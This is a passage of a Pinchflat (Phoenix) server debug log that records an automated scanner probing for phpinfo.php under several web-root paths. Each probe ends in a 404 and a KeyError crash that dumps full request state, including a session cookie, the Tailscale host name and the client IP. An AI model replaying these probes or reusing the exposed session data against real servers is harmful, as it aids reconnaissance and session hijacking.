"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 260, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW- (truncated) 02:10:26.422 [info] GET /www/phpinfo.php 02:10:26.423 [debug] QUERY OK source="settings" db=0.2ms idle=191.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.423 [debug] QUERY OK source="settings" db=0.1ms idle=118.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.423 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.423 [error] #PID<0.3565.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 261) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /www/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 261, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3565.0>, params: %{}, path_info: ["www", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/www/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7LbxSX3TbqkAAUEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 261, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 261, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:26.477 [info] GET /htdocs/phpinfo.php 02:10:26.479 [debug] QUERY OK source="settings" db=0.5ms idle=173.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.479 [debug] QUERY OK source="settings" db=0.2ms idle=111.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.479 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.480 [error] #PID<0.3566.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 262) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /htdocs/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /htdocs/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 262, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3566.0>, params: %{}, path_info: ["htdocs", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/htdocs/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Lo_VBZWVdwAAUFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 262, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /htdocs/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 262, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:26.539 [info] GET /public_html/phpinfo.php 02:10:26.541 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=172.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.541 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=118.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.542 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.542 [error] #PID<0.3567.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 263) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /public_html/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 263, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3567.0>, params: %{}, path_info: ["public_html", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/public_html/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7L3w_ZuAqvcAAUGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 263, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 263, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1 (truncated) 02:10:26.599 [info] GET /site/phpinfo.php 02:10:26.601 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=177.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.601 [debug] QUERY OK source="settings" db=0.2ms idle=122.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.602 [error] #PID<0.3568.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 264) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /site/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 